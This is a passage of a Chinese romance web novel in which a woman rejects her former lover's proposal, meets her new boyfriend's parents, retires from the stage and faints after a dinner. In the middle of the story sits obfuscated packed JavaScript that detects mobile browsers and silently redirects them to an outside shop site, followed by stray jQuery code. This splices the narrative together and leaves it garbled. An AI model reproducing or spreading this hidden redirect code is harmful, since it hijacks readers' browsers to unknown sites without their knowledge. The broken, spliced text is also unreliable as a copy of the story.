“你说什么?”盛佳期不可置信自己听闻的。
“嫁给我吧,佳期,做我的妻子。”杜若希唇瓣附着她的耳廓,又重复了一遍。
她浑身上下仿佛有电流窜过,脑袋像死了机的老式电视,雪花纷扬。她用力推开他,泪流满面,“我再也不会相信你的话了!”
杜若希满脸悲伤,“佳期,我是真心的。”
“我不信!”盛佳期双手捂住自己的耳朵,情绪失控,“你根本不可能想娶我,你的妻子也绝对不可能是我!”
杜若希上前,想牵她的手,却被她大力甩开。她浑身防备,看起来就像一只重伤的刺猬。
他内心懊疚交加,是他将她伤成这个样子。
缓缓地,他单膝跪了下去。直到双膝跪地,他双手撑着地面,低垂着头,像信徒虔诚地跪叩神明,甚至不敢去看她的眼睛。
“是我错了,我错得离谱。我这辈子的妻子只会是你。佳期,我求你,回到我身边吧。”
盛佳期不可置信地看着面前这一幕,瞪大着眼睛,泪水像断线珍珠般滚落。
忽然,她仰起头狂笑,清脆而尖锐的笑声穿透空旷的长廊。
她上前,拎起他的衣领,滑落的眼泪砸在他俊白的脸上,癫狂的笑靥,眼里却蕴满悲伤。
她哑着声:“你也有这一天啊。从前我万般恳求你,不要和孟月莉结婚。我日日夜夜在心里祈求,祈望你能回心转意,能够娶我,让我做你的妻子。”
“我一直认为那是我的痴心妄想,可是,那原来不是恋人间最习以为常的事吗?”
杜若希心中胆惧。他从未见过这样的她,想安抚,可自己却不知从何做起了。
他被她拽着衣领,仰起头,维持着跪地的姿势。
她说:“好啊,既然你想娶我,跟我结婚,那就要拿出一点诚意来看看。”
盛佳期松开手,冲他温柔地笑。
“不过,我还要继续和阿泽交往喔。”
-
位于市集深处一家隐秘的粤式私房菜,今夜门外早早被挂上了“暂停营业”的牌子。
盛佳期、梁郁泽、戚曼桐、梁博进四个人围绕红木圆桌而坐,由主厨亲自上菜。
砂锅打开,迎面扑来一股浓郁的虾酱气味。
盛佳期掩鼻欲呕。
梁郁泽连忙吩咐:“赶紧端下去,她闻不了这个。”
戚曼桐和梁博进对视一眼,似乎明白了什么。
戚曼桐扬手唤来经理,让做几道开胃的凉拌菜。
盛佳期中学时在聚会上与戚曼桐和梁博进打过照面,倒也算不上陌生。
只是多年过去,如今身份改变,几个人都显得有些不自在。
戚曼桐体贴问:“菜还合胃口吗?不喜欢可以让主厨换。”
“还可以的,谢谢阿姨。”盛佳期礼貌应。
戚曼桐点点头。
一顿饭安静无声地进行着,倒是梁郁泽主动打破沉默:“这次的北欧之行怎么样?有没有看到北极熊?”
“我们去的是冰岛,哪来的北极熊?”梁博进说,“去年倒是看新闻说发现一只野生的,不过官方担心对当地生态构成威胁,已经将其射杀了。”
梁郁泽夹春笋的手一顿,面露忧伤:“真是个令人难过的消息。”
“你们接下来有什么打算?”戚曼桐问。
盛佳期翕了翕唇,还没开口,梁郁泽接过话道:“佳期这阵子还要忙公演,我也要处理分公司的事。其他的,等忙过了这阵儿再说。”
盛佳期下意识望向他。
梁郁泽紧了紧桌下牵着她的手。
戚曼桐没说别的,往她碗里夹菜:“多吃点,别饿着。”
“好。”
吃过饭后,梁郁泽陪梁博进到花园里抽烟,盛佳期则陪戚曼桐在餐厅里四处逛逛。
这间私房菜是由一幢西关大宅改造的,内部经过了翻新装潢。不过一些扶手和摆件,仍维持着旧时的风格特色。
过道的展示架上陈列着店主的私人藏品,戚曼桐在一只描金骨瓷花瓶前停下脚步,若有所思地问:“你和若希,真的分手了吗?”
盛佳期脚步一顿,“对。”
戚曼桐转过身来,“你知道阿泽和若希从小认识,彼此称得上是对方最好的兄弟,而梁家和杜家,几十年来也一直维持着深厚的合作关系。”
“阿泽为了你,却选择亲手斩断了这种联系。”
盛佳期无言。
戚曼桐算不上很温和的长相,中法混血的血统让她的五官轮廓比亚洲人看上去更加深邃锋利。
她同样出身在商人世家,只不过与梁博进结婚后,便辞去了母家的职务,专心相夫教子。
这些年陪伴丈夫儿子身侧,早已褪去了曾经雷厉风行的气质,眉眼变得温和不少。
她语气并非责怪:“我与你父母相识多年,知道你出身在怎样的家庭,也清楚你的为人处世。你和若希没能走到最后,我也感到遗憾。”
“只是如今你和阿泽交往,我希望你能忘掉过去,重新开始。”
盛佳期有几分犹豫,指尖动了动,眼睫轻轻下垂。
-
《孤女》的终场演出在云雾剧场落下帷幕。
当晚,盛佳期宣布自己将退出娱乐圈。
后台鲜花簇拥,庆贺的工作人员将她围在中心,梁郁泽怀里捧着粉玫瑰,低头亲吻她的脸颊,“珍妮,恭喜你,你做得很好。”
“谢谢。”
梁郁泽搂着她朝化妆间方向走,来到长廊拐角时,两人不约而同地停下脚步。
长廊深处,伫着一道熟悉的身影。
梁郁泽下意识将她挡在身后。
杜若希缓缓朝这头走来,光影绰绰,映着他的面容晦明难辨。
他在距离他们数米的地方停下,直直望着她,“佳期,给我点时间,我们聊聊。”
“她跟你没什么好聊的。”
“阿泽。”盛佳期伸手攥住他的衣袖。
-
梁郁泽在门外等着,休息室里只有他们两个人。
她身上还穿着演出的灰色tutu裙,脸上化着浓艳的舞台妆,唯一不变的,是那双静静投来的,如小猫般清透明秀的眼睛。
哪怕,看他的眼神中,再没了往日的温情。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695291|206427||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
杜若希身着柔咖色的西装,修身马甲将他的腰线勾勒劲瘦修长,肩背挺拔。
他坐在她对面的灰色沙发中,神态显得有些憔悴。
“我会放弃柏梵集团继承人的身份,并和孟月莉解除婚约,这样可以吗?”
盛佳期不带情绪,“为什么问我?”
杜若希眼波轻微动荡,“我只是想向你证明,我的诚意。”
盛佳期似乎有点不耐烦了,纤瘦身姿稍稍向前倾,手肘抵着膝盖,指骨托脸,偏头望向茶几一角,思忖数秒,视线重新移回面前男人的身上,似笑非笑,“不可以。”
他紧张得蜷起指尖,“那要我怎么做,你才肯原谅我?”
盛佳期直起身,放松地靠在椅背里,盯着桌上冒着热气的茶杯,片晌,抬眼望他,“你是不是认为我还和从前一样,为你呼之则来,挥之则去?”她眸光流转,却看不见半分迷恋,“若希,这次不一样了,我不会再跟你复合了。”
杜若希慢慢红了眼眶,“我不能没有你。”
“这世上没有谁是离了谁就活不下去的,”盛佳期惊异自己竟有一天能以如此平和的心态和他对话。
或许,心伤到彻底时,便不会再痛了。
她站起身,“所以,你也不要再来找我了,去过你本来该过的生活吧。”
-
接下来几天盛佳期都在为晚会做准备。
彩排结束后,她从舞台下来,沈圆把水杯递给她,凑到她耳旁悄声说:“佳期姐,庄翎先生来了。”
她顺着沈圆视线方向望过去,距离舞台不远处,身着藏青西装的庄翎安静而立,右手握拐,正面带微笑望着她。
和宋明雅商议完技术调整后,盛佳期朝他走过去,“你怎么来了?”
“《孤女》终演当天我恰好有事,遗憾未能到场。我总记挂着,一定要亲自向你道贺。”庄翎礼貌说。
盛佳期翕了翕唇,尚未开口,又听他问:“今晚有空吗?想请你吃饭。”
-
地点选在市郊一家洞穴餐厅。
两人落座后,侍应递上餐牌。
盛佳期刚翻开第一页,被耳旁熟悉的旋律吸引了注意,不禁抬头,“这是——”
“Aimer!”她和庄翎异口同声。
“我也是最近才发现的,这家餐厅的老板是法语音乐剧的重度爱好者。”点完餐,庄翎笑着将餐牌交还给侍应。
达米安和希西莉亚的歌声柔情缱绻,唱得令人心醉。
盛佳期听着听着,眼睫却轻轻下垂。
“对了,听说你打算退出娱乐圈了?”庄翎问。
“嗯,等手头工作结束后,就不再接洽任何商业活动了。”
“真是太可惜了。”庄翎叹息。
-
吃过饭,两人搭乘电梯离店。
不知是环境闷热或是什么别的关系,盛佳期突然感觉胸口发闷,头也有点晕晕的。
她望向头顶的显示屏,发觉视线变得十分模糊,字影重重叠叠,难以辨认清楚。
梯门打开,庄翎正要迈步,身旁的人却朝他直挺挺倒了过来。